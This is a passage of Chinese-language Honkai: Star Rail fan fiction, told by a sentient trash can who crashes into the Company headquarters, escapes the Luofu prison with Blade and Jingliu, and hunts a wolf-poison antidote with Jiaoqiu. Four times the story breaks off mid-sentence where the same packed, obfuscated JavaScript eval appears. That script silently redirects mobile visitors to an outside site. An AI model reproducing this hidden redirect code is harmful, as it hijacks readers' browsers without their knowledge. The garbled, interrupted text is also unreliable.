;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200001|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会把公司夷为平地似的。” “喵!你知道我意思就行。” “知道了知道了。” 你有些不耐烦地把波提欧塞进旁边的集装箱里,然后独自一人朝星际港口滚去。发现一艘舰船孤零零地停泊在港口后,你便跳上舰船,胡乱地按着开关。 在你的一番操作下,这都舰船居然真的开动起来了,而且看起来似乎没有任何毛病。难道是你想多了?也罢,正好去救刃脱身。 你驾驶着舰船朝公司飞去。 远远望去,一道血红色的身影在人群中拼杀。血迹已经染红了白色的绷带,看上去分外扎眼。好死不死,现在偏偏下起了淅淅沥沥的小雨。雨势肉眼可见地变大,冲刷着水泥地面上的血迹。 你本想着操纵星槎下降,但不知为何,这艘舰船却没有下落的架势,反而直直朝公司大楼飞去。 眼见离那道血红色的身影愈来愈远,你才惊觉。这都舰船开启了自动模式,目标就是公司大楼。 会是谁呢。 不管是奥斯瓦尔多还是砂金,都不会想炸毁公司大楼吧。 但眼下考虑不了这么多了,你胡乱地操纵着,但无济于事。不管按哪里,自动模式都无法取消。舰船还是朝着公司大楼而去,势不可挡。 你开始祈祷。 以你铜墙铁壁的身躯,应该无论多么严重的破坏力,无论多么高的烈焰温度,你都会平安无事的吧。 想起你来时波提欧恶狠狠威胁你的话,如今倒是一语成谶了。 估计波提欧会把公司夷为平地了吧。啊不对,经过这么强烈的撞击,估计公司也不剩多少了。这么壮烈的牺牲,估计砂金会后悔吧。公司大楼塌陷了,他没地方工作了。 想起刃阴沉着脸开口问你死了么的模样,依刃的身手,估计能突出重围,给你收一回尸,希望到时候你还剩点儿碎铁片儿吧。又想起桑博曾经开的玩笑话,如今看来这个家伙还真不是会给你收尸的人,按照他的性格估计只会在坟头蹦迪。 啊。 事到如今你都有点儿后悔没把垃圾桶侦探社挂在脑门上了。这几天认识你的那几个人看在你都已经死了的份儿上,怎么着也得关照下垃圾星的生意吧。 也不知道垃圾星怎么样了。 “垃圾桶小姐!” 一道有些熟悉的声音将你从祈祷中拉出来。睁开眼睛,发现一只蓝灰白色的鸟儿挥舞着翅膀疯狂地拍打着舰船的窗户。 是星期日! 你几乎在瞬间就把他认了出来,也立即想起来了他曾说过的话——如果你要离开,请带他一起走。可是,这不包括送死的事情吧。 唯恐星期日和你一起撞上公司大楼,你直接按了加速开关。没想到这个时候这艘舰船倒是特别听你的话了,顿时甩开了星期日,像屁股着了火一般直直撞向公司大楼。 你闭了眼睛。 就这样吧,毁灭吧。 砰—— 公司大楼以瀑布般的速度迅速塌陷,铺天盖地的粉尘四面八方袭来,视野内一片熊熊燃烧的烈火,宛若世界末日一般。 在火光冲天的那一刻,一片刺眼的白光将你笼罩其中。一个小麦色皮肤的白发男人居高临下地暼视了你一眼,白色的长发在身后编织成了几根辫子,身体各处流出金黄色的神血。 哦。 是纳努克。 你得到了毁灭星神的暼视。 14.莫名其妙的巧合 如果你有罪,请让帝弓司命一箭灭了你,而不是在这幽囚狱中饱受摧残折磨。你都不忍心吐槽这剧情走向了,前一秒还在庇尔波因特将公司炸成了一堆废墟,下一秒就出现在了仙舟罗浮的幽囚狱内,还是罪大恶极的那种。 OYG。 无间剑树之刑。 你都有些怀疑自己撞毁的不是公司大楼,而是罗浮的将军府了。更为奇怪的是,你的身躯似乎发生了某些不可言喻的变化。不管剑树将你的身躯捅出几个窟窿,这些伤口都能在短暂的时间内飞速愈合。 难道这就是毁灭星神纳努克的力量吗。 你叹了一口气。 隔壁房间内隐隐约约传出几道声响,含混不清的,像是牵扯铁链的声音,还伴随着几声不甘心的低吼。 “这是他的罪孽……为何要我来偿还……” 这一瞬间,你竟深有同感。 你也不甘心呐。 来道天雷吧,把你们直接给劈死。 然而此时此刻是不会有星神来暼视你,然后给你莫名其妙传送到别的地方的。 你在这里枯燥地呆了几天,每日的功课就是听隔壁的低吼声,直到有一日一位银发的将军踏足此处。往日里凶神恶煞的冥差见了他都恭恭敬敬的。通过只言片语,你知道了他的名字——景元,仙舟罗浮的神策将军。也多多少少知道了隔壁的人系谁——前任罗浮饮月君丹枫。但他似乎被强制褪鳞转生了,现在应该叫他丹恒。 景元在隔壁坐了很长时间,说的什么你也没有听清。但是景元在临走之际,却是尤为奇怪地看了你一眼,还叫来冥差问了几句。 你本以为不日你就会被放出去,没想到没下文了。不过是你没下文了,隔壁的丹恒还有下文。他被放了出去。戴着沉重的镣铐从你门前经过时,那双龙眸异常明亮。原来,在这暗无天日的幽囚狱内,还是有一抹阳光存在的。 许是你强烈出狱的愿望太过炽烈,丹恒被放出去没几天,就在你唉声叹气之余,一道裹挟着寒冰之气的剑锋直冲面门而来。你瞪大双眼,该不会直接就在这里嘎了吧。 喂做什么梦呢,还没到你嘎的时候呢。 寒冷的剑锋劈掉了缠绕在你身上的剑树,四肢蓦然间没了管束,你从半空中掉下。正松了松手腕,一个白发红眸的女子便出现在了你的面前。周身萦绕着黑色的雾气,使用的力量却是如高山之巅的白雪一般洁净无瑕。 你正要道谢,那白发女子却将一个浑身满是血迹的男人扔到了你的桶里,一句废话没有:“跟我走。” 原来不是来救你的,只是看重了你载人的能力。 你咽下涌到喉间的话,也没顾得上看这个男人到底系谁,便跟着女子出了幽囚狱。一路上神挡杀神,佛挡杀佛,各路冥差的尸体滚了一地。 你看得心惊胆战,这女子杀伐果断的劲儿头,比起波提欧来,那可谓是有过之而无不及。不过她好像状态有点儿不佳,每逢杀一两个人就要扶住额头静心闭气一会儿。通过那些冥差的口,你知道了这个女子的名字——镜流,还知道了她的身份——罗浮将军景元的恩师。 事情真是越来越复杂了,但你不敢开口询问。唯恐镜流杀疯了直接将自己也当成那些冥差一并处决了。好在有惊无险,你们一路逃出了罗浮。也不知道逃到了哪里,你们在一条河流边歇脚。 镜流将男人从你的桶身内拖了出来。 直到此时,你才发现,这个男人你认识,熟悉却有些陌生。分明长着和刃一模一样的面庞,发丝的颜色也与你在庇尔波因特见到的一般无二,但就是有种说不出的陌生感。直到在刃的发丝间瞥见一缕白色,你才意识到问题出在哪里了。 你仔细打量着刃的面庞,发现眼角处有几处不易察觉的皱纹。上手摸了摸他的脸颊,皮肤也不是那么紧致。 说得好像你之前摸过似的(划掉)。 不等你研究出什么来,镜流便将那把雪白无暇的剑指在了刃的咽喉间,“起来!” 语气寒冷且没有一丝温度。 ? 什么情况。 冒着生命危险把刃从层层封锁的幽囚狱内捞出来,怎么着也得是过命的交情吧。但是这个语气真的是毫不客气,像是对待仇人一样。 刃的胸口有了些许起伏,像是倏然间活过来一般,他慢慢坐起身子,看到直指咽喉的利剑,蓦然间冷笑出声。 镜流也是毫不客气,直接一剑贯穿了刃的胸膛。 ! 刃的唇角溢出鲜血,他重新倒回了地上。你急忙去查看刃的情况,发现他的身躯正在逐渐变凉僵硬。 ! 你惊出一身冷汗,然而不过片刻,他的身躯就重新变得柔软且有温度。胸膛前的伤口也在飞速愈合,仿佛刚才发生的一切不过是一场梦一般。 “起来!让我再杀你一次!” 镜流冷冷出声,眼神如同在看死人一般。 你惦记着在庇尔波因特刃救你的交情,把他护在身后:“女侠,有话好好说。” 刃却根本不领你的情,直接将你推开,抢过镜流的剑朝她劈去。 私人恩怨? 你插不上手,只能在一边浅浅地呆着。然而越看越感觉有点儿不对劲儿,刃挥剑的速度像是第一次拿剑似的,动作极其生涩而且力度不够。恐怕在镜流的眼中,他就像是个小孩子一样在无理取闹。而此时的镜流,也没了那股杀伐果断的劲儿头,像是猫捉老鼠一般躲闪着刃的攻击。 “……” 你无聊地叹了口气,也有心情琢磨自己的情况了。这个世界真的是越来越抽象了。撞个公司大楼的功夫,刃的头发就白了几根。而且肉眼可见地开始显老,连招式都生锈了。 你在河流里滚了一圈又一圈儿,直到日薄西山,刃再次被镜流钉在了地上。你在河流里咕嘟咕嘟冒着泡,看了半天,刃的招式竟然越来越熟练,发丝间的那缕白色也渐渐消失了,皮肤也变得越来越光滑紧致。 丰饶的力量。 你心里有了数。 镜流可能是杀累了,留下如同濒临死亡的鱼一般的刃苟延残喘。你慢慢挪过去看了一眼,衣服都被划破了,胸膛上露出道道可怖的伤痕。虽然那些伤疤已经在飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202545|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速愈合了,从外表看不出一丝痕迹,但估计心上的伤口难以愈合了。 你推了推刃,问了一句:“你认识我吗?” 刃艰难地抬起上半身,看了你一眼,摇了摇头。眼神里的迷茫不似作假,而且如今的脸色也没有你在庇尔波因特见他时那般阴沉。 你叹了口气。 刃的履历你也多少了解过一点儿,加入星核猎手是之后的事情了。而你在庇尔波因特见到他的时候,也是他加入星核猎手之后的事情了。 时间似乎倒流了,而且只有你自己的时间倒流了。不过也恰好能解释为什么刃在庇尔波因特见到你时就能毫不留手地给你解围。 但是除了刃之外,别人似乎也对你有好感。当然,除了那个张口闭口就喵喵叫的波提欧。难道之前你也见过他们,只是你不记得了? 什么蜜汁剧情。 乱七八糟的。 你都已经无力吐槽了,也不知道怎么回到正确的时间点。闲得发慌,只能去找点儿事情做。你便把主意打在了刃的身上,把他拖进河里清洗干净后又拖到岸上。 他似乎已经失去了求生的意志,即使他现在根本死不了。就像一摊烂泥,如果可以的话,他或许更想被水流冲走,冲到哪里算哪里。 “你还管我做什么。” 刃的声音没有那么阴沉,更多的是一种压抑着的不甘心。你不知道他后来是怎么加入星核猎手的,也不知道现在该怎么劝说他,只是简单地回了一句,“你救过我的命。” “什么时候?” 这句话的语气不像是惊喜也不像是要求个答案的样子,就只是随口问了一句,估计也没指望你回答。 你在刃的身旁躺下,“在庇尔波因特的时候,我被公司追杀,你帮我解了围。” “没印象了。” “没印象算了,我记着就行。” 你把刃拖进桶里,想着还是得去庇尔波因特看一眼。幸好你们俩人一个得到了毁灭星神的暼视,一个得到了丰饶的赐福。虽然对于刃来说,这不算什么赐福。但总之,你们俩人都不需要吃什么东西。 一路上,不知道为什么,你们走到哪里镜流都能找到,然后与刃砍杀一番,直到刃筋疲力尽地被钉在地上。你试图阻止过几次,但不是被镜流一剑捅穿了桶身就是被冻在一边当个冰墩子。捅穿了桶身你倒也死不了,毁灭的力量虽然不如丰饶恢复得快,但你原本也是刀枪不入的,镜流的剑法再厉害,你也还是能活蹦乱跳的。 刃几乎没有反抗的能力,单方面被压着杀。但许是男人的血性,他渐渐地也是杀红了眼睛。那双仿佛燃着烛火的眸子不再是一潭死水,而是重新燃起了希望。不过不是生的希望,而是死的希望。 不知道过了多长时间,你们终于抵达了庇尔波因特的港口。一个样貌清俊的青年正在做港口登记的工作,脖颈前两条拉链拉到最上面,链头随着他的动作轻轻摇晃着,在清晨的阳光下反射着光芒。内衬的黑色紧身衣印出精致的锁骨,浑身上下满满的禁欲气息,声音略透露出些许清冷。 “你们好,我是丹恒。” 15.仙舟「曜青」 粉毛啊粉毛。 在曜青仙舟歇息的这几天,你都围着这只粉毛狐狸转。看着他在丹鼎司进进出出,看着他在飞雨湖采摘莲蓬,看着他背着药筐四处搜寻药材。 只是近来战事吃紧,曜青仙舟的药品也愈来愈少。看着那些因为伤口而痛苦不堪的同胞,椒丘的眉头紧紧拧成了疙瘩。他原本是个比较开朗的人,然而这些时日相处下来,你却只能眼睁睁地看着他越来越沉默寡言。 今天,前线上又送下来一批伤兵。椒丘的白色大褂上已经满是鲜血,整个人也已经筋疲力尽,但还是第一时间去救治伤患。 你在旁边给他做帮手,医疗器械药物什么的,他一开口,你便马上递上去。只是不巧,这批伤患都是被新的狼毒污染的。如今丹鼎司还没有研制出解药,只能做到暂缓毒性的扩散。为今之计,只有深入步离人猎群,找寻解药。俗话说,世间万物相生相克,在毒药的附近一定能够找到压制的解药。 当然这句话也是椒丘告诉你的。虽然这些天跟着他也学了不少药理知识,但是能记住的却不多。这些药草的名字晦涩难记,其实比起这些,你更喜欢在战场上与步离人厮杀。但是出于某种不可告人的原因,你被月御将军强行留在了曜青。 但是如今椒丘要深入步离人猎群寻找解药,他孱弱不堪,必须得有人陪同才行。经过椒丘的不懈争取和飞霄的在旁打边鼓,你终于得以离开曜青仙舟,与椒丘一同奔赴步离人猎群。 仅容两个人的星槎上,你和椒丘两个人相顾无言。他记挂着曜青伤重狐人的安危,而你则在思考月御将军的用意。 难道是庇尔波因特的通缉令已经在银河散开了。 你操纵着星槎在一块空地降落。找了一处草丛茂密的地方将星槎隐藏后,便开始寻找解药。沿途的药草椒丘想都不想就放到嘴里品尝,也不管是不是有毒,与自己的身体是不是相克。 神农尝百草? 不知道椒丘的肚子会不会变得透明? 你不时往椒丘的腹部偷瞄,次数多了,即便椒丘的注意力再集中在药草上,此时也忍不住调侃你几句。 “无名姑娘缘何一直看着小生?” “这个……”你尽量装得坦然些,“椒丘医士肤白貌美,自然要多多看上几眼。” 为了掩饰心虚,你也学着他的样子随手揪了一把药草放进自己的身体里。 然而下一秒神奇的事情却发生了。你的身躯因此变得透明,而且还能清晰地看到身体内内脏器官的位置。 好家伙。 椒丘掀开了你的桶盖,然而里面却是空空如也,和往常没什么区别。你依然还是个中空的垃圾桶,和往常没什么两样。 好生奇怪,似乎这些内脏器官只是出现在你的桶皮上一样。 椒丘盯着你半晌。 你急忙抱住自己的身体,警惕地看着他:“你该不会是想从中间把我的桶皮划开吧。” 椒丘笑眯眯道:“且不说小生没有这个念头,即便是有,怕是还未付诸实践,你便早已将我的脑袋捶烂了。” 说得也是。只是如此一来,椒丘便不用亲口尝药草了。你吃了之后,他再观察药草在你身体内的反应,判断药性。 眼看快要走到步离人驻扎的营地了,椒丘还未找到解药。你们便铤而走险,深入敌军大营。 椒丘躲在你的身体内,你滚动着身躯,见到草就吃。有了上一次在草地里滚进流沙的经验,你不再横冲直撞,而是滚得不紧不慢的。这倒是其次,更费时间的是你的身体透明程度只能在外面才能看。每吃完一株药草,椒丘就得从你的身体内爬出来,站到你面前观察药性。 步离人对于气味天生敏感,反复几次之后,到达下一个据点时,举着火把巡逻的步离人明显多了起来,似乎在仔细寻找着入侵者。 “这样下去不是办法。”椒丘在你体内悄声道。 你也深知这一点,但又不敢将桶盖扣得太紧,唯恐椒丘在体内活活闷死。 “他们信息传递的速度也太快了。”身旁有三三两两的狼群走过,你缩了缩身子,降低自己的存在感。 “只需点燃狼烟,他们便能收到信号。” “原来如此。”你叹了口气,“这下该如何是好?” 椒丘心生一计:“无名姑娘,你知道战俘关押在哪里吗?” “在……”你正要回答,倏然间明白了椒丘的意思,便不再废话,只朝营地中央滚去。 滚到一半时,你陡然间察觉到背后有一股冷意,有什么爪子摩擦桶皮的声音在耳边响起。身体已经先一步脑子作出反应,拳头朝身后扫去。 然而在看清身后之人的面容时,你的拳头停留在了半空中。 这是一只白色的狐人,白色的毛茸茸耳朵还在脑袋上轻轻抖着。一瞬间,你有些想到了飞霄,便收了拳头。 “你是个什么东西。” 估计是个狐人奴隶,在这里逆来顺受惯了。也没出去见过什么世面,不知道你垃圾桶的大名。 但就像是要哐哐打你脸似的。这个念头刚冒出来,面前色白狐人便抱着胳膊,下巴微抬:“我想起来了,你就是一个月前带着两个狐人奴隶逃跑的那个垃圾桶。” “呃……” 不知为何,总觉得这个白色狐人怪怪的。你谨慎地没有开口,但是这个白狐却慢慢地朝你走过来,一边走一边还用鼻子拼命在空中嗅个不停。像是才发现你的内脏是透明的一般,他伸手朝你的桶身上抓了一把。 “一个垃圾桶也有内脏吗。” 白狐什么也没抓到,只有尖利的爪子划在铁皮上的声音。他像是也懂一些药理,看清你的内脏后,抬头道:“你在找最新狼毒的解药?” 你点了点头。 白狐却低低地笑了:“一个垃圾桶,怎么来管狐人的事情,他们是你的亲爹亲娘亲儿子亲闺女?” 你轻咳一声:“路见不平,拔刀相助。” “不平?生存的事情,有什么不平。优胜汰劣,是自然的法则。弱肉强食,放在哪里都说得通。用得着你这个垃圾桶在这里搅和?要是此时步离人落败,你是不是还要帮助步离人反抗狐人?” 几句话下来把你说得哑口无语,瞬间没了脾气。你有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227466|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心想要反驳,却不知道如何开口。而一直躲在你桶身内没有开口的椒丘此时却掀开桶盖站了出来,厉声道:“歪理!” “难道为了生存就能肆意侵略他人的领地吗!难道为了生存就能随意屠杀奴役他人吗!难道为了生存就能将自己的利益凌驾于他人的生命之上吗!” 然而椒丘的一番慷慨陈词却没有唤醒白狐身体内的反抗血脉,反而迎来更为讽刺的笑声:“呵,胆小鬼终于不再躲在垃圾桶内瑟瑟发抖了?就凭你刚才站出来的勇气,我可以让你多活一炷香的时间。” 难怪草原上没有笋,看来都被眼前这位夺完了。 你挡在椒丘的面前,“想杀他,先把我撂倒再说。看在你是狐人的份儿上,我可以不撕裂你的嘴。” 椒丘掩扇而笑。 白狐的脸色沉了下去:“没有牙还如此牙尖嘴利。” 你把椒丘塞回了桶里,摆开架势与白狐缠斗了起来。你本以为这个家伙会喊人,没想到居然一声不吭,倒还真是出乎你的意料。然而更为出乎你意料的是,这个狐人居然身手意外地好。出手的招式不管是力度还是速度,都不输给那些穷凶极恶的步离人。交手的时间越长你心里的疑惑就越重,有这等实力,为什么不反抗,还要留在这里给步离人做奴隶。 难道这家伙是个抖m。 任步离虐他千百遍,他待步离如初恋。 你心里藏不住事情,便打便开始策反他:“这位白狐兄弟,咱们有话好好说……” 岂料才说了个开头,白狐就直接怒了,“你哔——懂什么,哔——我是白狼!哔——” 好家伙。 还带屏蔽装置的。 从全篇的“哔——”里面能找出“白狼”两个字,你也真是佩服自己了。你一边打一边安抚着白狼的情绪:“白狼兄弟,稍安勿躁,控制不好脾气是会吃大亏的哦——” 话音刚落,你便找到白狼的漏洞,一脚踹在了他的胸口上,直接将他踹出去半米远。看着白色小狐狸口吐鲜血的模样,你都有些心疼了。把他拉起来,拍了拍身上的灰尘,正要开口劝说,不料小东西一爪子又抓了过来。 你不偏也不避,横竖伤不了你。不知道小家伙是不是也有点儿心动,小爪子在半空中卸了力道,只是抓掉了你的桶盖。 你不气也不恼地把桶盖捡起来,正要再说几句调戏的话,白狼有些恶劣地擦了擦唇角上的血,“垃圾桶,看看你桶身里的那个胆小鬼吧。” ! 打架打得太兴奋,忘了椒丘还在你的身体内了,不知道白狼的爪子有没有伤到他。你急忙把椒丘抱出来,检查了一番,还是在脖颈上发现了一条小小的缝隙。鲜血微微渗出来,染红了粉色的发丝。 宝了贝的! 你总算是明白为什么白狼这个家伙总是攻击你的桶盖了,原来根本不是冲你来的。他的目标是你桶身里的椒丘。 他喵的! 看着椒丘的伤口与丹鼎司接收的那批病人相差无几,你直接怒了,一脚把白狼踹倒,跨坐在他的身上,狠狠掐住了他的喉咙。 “交出解药!” 16.仙舟「曜青」 “解药呵呵呵呵……” 白狼在你的压制之下居然还有心情挑衅,他缓缓地擦去唇角上的鲜血,“小姑娘,这个世道强者为尊。你若是不懂这句话什么意思,回去念几年书再来评判我们之间的战争。” 你一拳打在白狼的脸上,一字一顿:“解、药!” 白狼不说话,看上去一副宁死不屈服的样子。你一拳又一拳地打下去,直到打得他血肉模糊,再说不出一句话来。 抛开一切不谈,这头白狼居然从头至尾未曾试过叫别人来。而这座营地也像是死了一样,你和白狼打得天昏地暗,旁的步离人也没有出来。直到你将白狼打得奄奄一息,试图拖着他回到曜青仙舟时,一群凶神恶煞的步离人才围了上来。 乌泱泱的,看上去竟不止一个据点那么多。 原来是去叫人围攻来了。 呵。 你将手里白狼的尸体狠狠朝狼群丢去,紧接着一个以百米冲刺的速度迅速冲散了狼群。然而步离人实在是太多了,冲散了还很快有新的狼群涌入。 狼爪子狠狠抓在你的身上,你毫无痛感,只是一味地挥拳。很多步离人被你打得口吐鲜血不止,但又很快恢复过来朝你进攻。 由于狼群太过庞大,你无法做到一击毙命便被其余的步离人缠住。越来越多的攻击落在你的身上,你的桶身开始凹陷。 不好! 椒丘还在里面。 你不再恋战,竭力冲出狼群。一个个步离人被你撞得直接冲向空中,然后狠狠砸在地上。你一股脑地向前冲,速度越来越快。与此同时,步离人也加快了速度,誓要将你围困于此。 砰—— 你的体内猛地迸发出一股强有力的能量,如同一颗石子投入湖泊中一般,迅速朝周围散开。周遭的步离人受到了冲击,纷纷倒地。 你正要一鼓作气冲出去,不料步离人却又再次围了上来,而且直接朝你身上扑。你躲闪了几次,但此地空间太小,接连几番后,你被一个步离人瞅准时机扑倒在地。 你一脚将其踹飞,但好死不死迅速又有一只扑了上来。反复几次后,你被死死压制在地上。其余步离人见状,纷纷压了上来,像是叠罗汉一般,你再也动弹不得。 由于桶身凹陷,草地绵软,沙地倾斜,你再也无法滚动。有步离人掀开了你的桶盖,将昏迷的椒丘扯了出来。 “放开他!” 椒丘的身体被步离人撕扯着,如同被猫咪抓碎的木偶一般。你目眦尽裂,却只能徒然地抓起几把沙子。 几日前地面遍布狐族人残缺四肢的一幕再次在你的眼前出现,你怒吼一声,恨意的力量在你的体内汇聚。只听砰地一声巨响,压在你身上的步离人四分五裂了出去。你迅速起身,双手凝结成一把极为巨大的锤子,狠狠砸向那些穷凶极恶的步离人。 残破的肢体血肉模糊地分散在各处,天空下起了淅淅沥沥的小雨。你挣扎着朝椒丘的残肢爬去,一点一点地收集起来,拼揍完整。但无论如何,他是再也不会睁开眼睛了。 你仰天长啸。 血色的天空彻底阴暗下来,一轮红色的血月凭空出现在天幕中。一个六臂的白色兜帽人出现在了你的面前。头顶上生有长长的鹿角,鹿角杂乱地挂着有着复杂符文的黄色飘带。整体色调呈现黄绿色,肢体分裂出残存有红色的眼珠。 你得到了丰饶星神的暼视。 治愈的力量在你体内流淌,你的桶身开始生长出交错纵横的枝条,枝杈生有嫩黄色的细芽。 几乎想都未想,你将椒丘的肢体天衣无缝地拼接,然后注入生命的力量。椒丘在你的殷切期待下慢慢醒转,在捕捉到他眼中一闪而过的讶异后,你再次将他打晕,装进了你的桶身内,然后迅速离开此处。 这是帝弓司命给你开的玩笑吗。 身在仙舟,你却获得了丰饶的赐福,回去后难保不会被关进幽囚狱。话说回来,帝弓司命还没有追得上丰饶药师吗,为何药师都在此刻向你投来了暼视,岚却没有注意到你。 看来这场漫长的你追我赶的戏码,还未到尽头。 你拖着疲惫的身躯在草地上走着,见到步离人的据点也不避开。他们也不追你了,似是得到了一种讯息,竟然纷纷跟在你身后。 久而久之,居然组成了一支漫长到一眼望不透尽头的队伍。 你问过他们,跟着你到底意欲何为。他们却说近来你是唯一得到都蓝赐福的人呃……桶,他们已经失去了呼雷汗,不知道该去往何处,只能盲目地跟在你身后。 你跟他们说过你是要回曜青仙舟,跟着你回去会被关进幽囚狱。他们却说已经厌倦了战争,想死却做不到,关进幽囚狱里也未尝不可。 你无语了。 这又是帝弓司命给你开的玩笑吗。 在你对步离人深恶痛绝的时候,让这么一群步离人像是跟屁虫似的跟在你的身后。倘若这般回了仙舟,月御会不会以为你是带着步离人来攻打曜青的。 反正她本来就对你有所怀疑。 或许是你的怨念太过深刻,刹那间一道白色的流星闪过,光矢直冲你而来。而那道光矢的背后,一冰蓝色长发黑面人抬起马前蹄,朝你弯弓搭箭。 你得到了巡猎星神的暼视。 光矢停留在你的面前,宛若被谁按下了暂停键一般。 此时此刻,你居然在想。看来药师与岚是一前一后的关系,不日,岚便可追上药师。然就在这争分夺秒的时刻,岚却停下了弯弓搭箭的手。不知道是不是你的错觉,祂仿佛深深地看了你一眼,然后才抽身离去。 白色亮眼的光矢仿佛失去了所有的力气和手段,掉落在地。你有些怔愣,弯腰捡起地上失去神力的箭矢。看着白色的光芒一点一点消失,你顿时有了回仙舟的勇气。 而身后的步离人,看你的眼神早就充满了小星星。在一天之内连连看到两位星神,他们都可以去买彩票了。 你招招小手,一把银色的弓箭便出现在你的手中。你拉了拉弓,弦的张力还不错。你看着手里的弓箭,心想这下回曜青仙舟的底气有了。 只是身后这群步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238565|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离人该怎么办呢。总不能你带着一群人回去,你自己完好无缺,然后让这群人去蹲大狱吧。 你再次试图和他们讲道理。 “我要回曜青了。听好了,是曜青,狐人最集中的仙舟。不是罗浮,也不是朱明。你们跟着我回去是没有活路的。” “可是垃圾桶大人,你不也获得了丰饶的赐福吗?”有步离人问道。 你耐着性子解释:“我获得了丰饶的赐福不假,但我又获得了巡猎的赐福。两者均衡一下,我什么都没获得。来时如此,去时亦如此。” “均衡……”其中一个步离人若有所思,半晌恍然大悟:“我明白了,谢谢垃圾桶大人!” ? 明白? 明白什么了? 不等你细问,那群步离人已经离开了。像是沙地随时会起的风一般,随时卷起风沙,又随时落下。 你查看了下椒丘的情况。 那群步离人在时,你是万万不敢如此做的。即便那群狼说他们没有恶意,但见惯了他们的恶劣行径,你如何能在如此短的时间内相信他们。狐族人的血液对于步离人有着致命的吸引力,若是他们控制不住体内的狼性,椒丘待如何。 虽然你已经获得了丰饶与巡猎的暼视,但是这两种力量该如何在你体内周旋,你究竟该如何利用,还尚未可知。 你摇醒了椒丘,他缓缓睁开眸子,眼底的憔悴一览无余,淡黄色的眸子已经失去了往日的色彩,散发着极其微弱的光芒。 “椒丘……” 你轻轻唤道,手轻轻在椒丘面前摇了摇。 他的眼神终于慢慢聚焦,视线放在你的身上,“我……”椒丘一开口,显而易见有些被自己喑哑的声音惊到了,他捏了一下自己的喉咙,努力清了清嗓子。 你轻轻将手覆在他的喉结处,疗愈的力量瞬间连接了他的声带。他终于可以正常发声,却是尤为古怪地看了你一眼。 但椒丘什么都没问,只是说了一句:“我们回去吧。” 你点了点头,正想将他重新按回桶里,他却摇了摇头:“我可以走。” 你沉默良久,终于还是自己开了口:“我得到了丰饶的赐福,治愈那批新的病患之后,我会离开曜青仙舟的。” “……”椒丘也是沉默许久:“你有地方可去?” 你故作轻松地笑了笑:“天大地大,总归有容身之所。” “或许你可以不用离开。”椒丘唇角微勾,也是轻松笑笑:“不管是仙舟人还是狐族人,我们其实也算是丰饶民。我们与他们的不同就是不会为了生存,而去侵略他们的领地。如何使用丰饶力量,也是一种学问。我们得到了长生,而你却是得到了治愈的力量。我都有些担心,曜青仙舟以后有了你,所有人都来求医,丹鼎司岂不是要被撑爆了。” “……哈哈哈。”你笑出了声音,“那你岂不是要成了边缘人物了?” “可不是。”椒丘故意道:“小生的饭碗都要被无名姑娘抢走了,以后若是因此忍饥挨饿,姑娘可要负责的。” 17.仙舟「曜青」 最后的最后,你和椒丘还是回去了曜青仙舟。你的疗愈能力果然对那些中了新狼毒的狐人有作用,他们的伤口不再恶化,而是已经开始慢慢恢复。 椒丘正在忙后续的治疗工作,而你则被月御将军叫去了她的房间。当你进去时,发现飞霄也在里面。她冲你眨了几下眼睛,唇角弯成一个极为好看的弧度。 “无名姑娘。”月御开了口,语气竟是有一丝温柔。 你有些受宠若惊,忙应道:“将军。” 月御道:“你对我们曜青仙舟有恩,本希望你在此多多住上一段时日,但听椒丘方才所言,姑娘是要离开曜青。” 你点了点头:“是的,将军。” 月御问道:“曜青可有招待不周的地方吗?” “不是。”你摆了摆手,“只是公司的通缉令已经遍布银河了,扫除步离人曜青还需公司的帮助。在此关键时刻,我确实不宜待在曜青仙舟。” “原是如此。”月御笑道:“姑娘未免太过小看曜青仙舟了,我们岂能因为公司的缘故而将朋友驱逐出境呢。此事若是传扬出去,曜青仙舟今后还有何情谊可言。” “倒也不全是公司之过。”你轻声道:“只是有免费的助力,为何不用呢。将军是个聪明人,自然算得清这里面的账目。” 